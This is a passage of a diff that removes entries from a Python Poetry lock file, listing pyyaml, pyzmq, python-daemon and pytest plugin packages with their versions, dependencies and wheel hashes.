-[package.dependencies]
-httpx = "==0.28.*"
-pytest = "==9.*"
-
-[package.extras]
-testing = ["pytest-asyncio (==1.*)", "pytest-cov (==7.*)"]
-
-[[package]]
-name = "pytest-rerunfailures"
-version = "16.1"
-description = "pytest plugin to re-run tests to eliminate flaky failures"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "pytest_rerunfailures-16.1-py3-none-any.whl", hash = "sha256:5d11b12c0ca9a1665b5054052fcc1084f8deadd9328962745ef6b04e26382e86"},
-    {file = "pytest_rerunfailures-16.1.tar.gz", hash = "sha256:c38b266db8a808953ebd71ac25c381cb1981a78ff9340a14bcb9f1b9bff1899e"},
-]
-
-[package.dependencies]
-packaging = ">=17.1"
-pytest = ">=7.4,<8.2.2 || >8.2.2"
-
-[[package]]
-name = "pytest-timeout"
-version = "2.4.0"
-description = "pytest plugin to abort hanging tests"
-optional = false
-python-versions = ">=3.7"
-groups = ["dev"]
-files = [
-    {file = "pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2"},
-    {file = "pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a"},
-]
-
-[package.dependencies]
-pytest = ">=7.0.0"
-
-[[package]]
-name = "python-daemon"
-version = "3.1.2"
-description = "Library to implement a well-behaved Unix daemon process."
-optional = false
-python-versions = ">=3.7"
-groups = ["main"]
-files = [
-    {file = "python_daemon-3.1.2-py3-none-any.whl", hash = "sha256:b906833cef63502994ad48e2eab213259ed9bb18d54fa8774dcba2ff7864cec6"},
-    {file = "python_daemon-3.1.2.tar.gz", hash = "sha256:f7b04335adc473de877f5117e26d5f1142f4c9f7cd765408f0877757be5afbf4"},
-]
-
-[package.dependencies]
-lockfile = ">=0.10"
-
-[package.extras]
-build = ["build", "changelog-chug", "docutils", "python-daemon[doc]", "wheel"]
-devel = ["python-daemon[dist,test]"]
-dist = ["python-daemon[build]", "twine"]
-static-analysis = ["isort (>=5.13,<6.0)", "pip-check", "pycodestyle (>=2.12,<3.0)", "pydocstyle (>=6.3,<7.0)", "pyupgrade (>=3.17,<4.0)"]
-test = ["coverage", "python-daemon[build,static-analysis]", "testscenarios (>=0.4)", "testtools"]
-
-[[package]]
-name = "python-dateutil"
-version = "2.9.0.post0"
-description = "Extensions to the standard Python datetime module"
-optional = false
-python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
-groups = ["docs"]
-files = [
-    {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"},
-    {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"},
-]
-
-[package.dependencies]
-six = ">=1.5"
-
-[[package]]
-name = "pyyaml"
-version = "6.0.3"
-description = "YAML parser and emitter for Python"
-optional = false
-python-versions = ">=3.8"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "PyYAML-6.0.3-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f"},
-    {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4"},
-    {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3"},
-    {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6"},
-    {file = "PyYAML-6.0.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369"},
-    {file = "PyYAML-6.0.3-cp38-cp38-win32.whl", hash = "sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295"},
-    {file = "PyYAML-6.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b"},
-    {file = "pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b"},
-    {file = "pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956"},
-    {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8"},
-    {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198"},
-    {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b"},
-    {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0"},
-    {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69"},
-    {file = "pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e"},
-    {file = "pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c"},
-    {file = "pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e"},
-    {file = "pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824"},
-    {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c"},
-    {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00"},
-    {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d"},
-    {file = "pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a"},
-    {file = "pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4"},
-    {file = "pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b"},
-    {file = "pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf"},
-    {file = "pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196"},
-    {file = "pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0"},
-    {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28"},
-    {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c"},
-    {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc"},
-    {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e"},
-    {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea"},
-    {file = "pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5"},
-    {file = "pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b"},
-    {file = "pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd"},
-    {file = "pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8"},
-    {file = "pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1"},
-    {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c"},
-    {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5"},
-    {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6"},
-    {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6"},
-    {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be"},
-    {file = "pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26"},
-    {file = "pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c"},
-    {file = "pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb"},
-    {file = "pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac"},
-    {file = "pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310"},
-    {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7"},
-    {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788"},
-    {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5"},
-    {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764"},
-    {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35"},
-    {file = "pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac"},
-    {file = "pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9"},
-    {file = "pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b"},
-    {file = "pyyaml-6.0.3-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da"},
-    {file = "pyyaml-6.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917"},
-    {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9"},
-    {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5"},
-    {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a"},
-    {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926"},
-    {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7"},
-    {file = "pyyaml-6.0.3-cp39-cp39-win32.whl", hash = "sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0"},
-    {file = "pyyaml-6.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007"},
-    {file = "pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f"},
-]
-
-[[package]]
-name = "pyyaml-env-tag"
-version = "1.1"
-description = "A custom YAML tag for referencing environment variables in YAML files."
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "pyyaml_env_tag-1.1-py3-none-any.whl", hash = "sha256:17109e1a528561e32f026364712fee1264bc2ea6715120891174ed1b980d2e04"},
-    {file = "pyyaml_env_tag-1.1.tar.gz", hash = "sha256:2eb38b75a2d21ee0475d6d97ec19c63287a7e140231e4214969d0eac923cd7ff"},
-]
-
-[package.dependencies]
-pyyaml = "*"
-
-[[package]]
-name = "pyzmq"
-version = "27.1.0"
-description = "Python bindings for 0MQ"
-optional = false
-python-versions = ">=3.8"
-groups = ["main"]
-files = [
-    {file = "pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4"},
-    {file = "pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556"},
-    {file = "pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b"},
-    {file = "pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e"},
-    {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526"},
-    {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1"},
-    {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386"},
-    {file = "pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda"},
-    {file = "pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f"},
-    {file = "pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32"},
-    {file = "pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86"},
-    {file = "pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581"},
-    {file = "pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f"},
-    {file = "pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e"},
-    {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e"},
-    {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2"},
-    {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394"},
-    {file = "pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f"},
-    {file = "pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97"},
-    {file = "pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07"},
-    {file = "pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc"},
-    {file = "pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113"},
-    {file = "pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233"},
-    {file = "pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31"},
-    {file = "pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28"},
-    {file = "pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856"},
-    {file = "pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496"},
-    {file = "pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd"},
-    {file = "pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf"},
-    {file = "pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f"},
-    {file = "pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5"},
-    {file = "pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2"},
-    {file = "pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0"},
-    {file = "pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7"},
-    {file = "pyzmq-27.1.0-cp38-cp38-macosx_10_15_universal2.whl", hash = "sha256:18339186c0ed0ce5835f2656cdfb32203125917711af64da64dbaa3d949e5a1b"},
-    {file = "pyzmq-27.1.0-cp38-cp38-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:753d56fba8f70962cd8295fb3edb40b9b16deaa882dd2b5a3a2039f9ff7625aa"},
-    {file = "pyzmq-27.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b721c05d932e5ad9ff9344f708c96b9e1a485418c6618d765fca95d4daacfbef"},
-    {file = "pyzmq-27.1.0-cp38-cp38-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be883ff3d722e6085ee3f4afc057a50f7f2e0c72d289fd54df5706b4e3d3a50"},
-    {file = "pyzmq-27.1.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:b2e592db3a93128daf567de9650a2f3859017b3f7a66bc4ed6e4779d6034976f"},
-    {file = "pyzmq-27.1.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:ad68808a61cbfbbae7ba26d6233f2a4aa3b221de379ce9ee468aa7a83b9c36b0"},
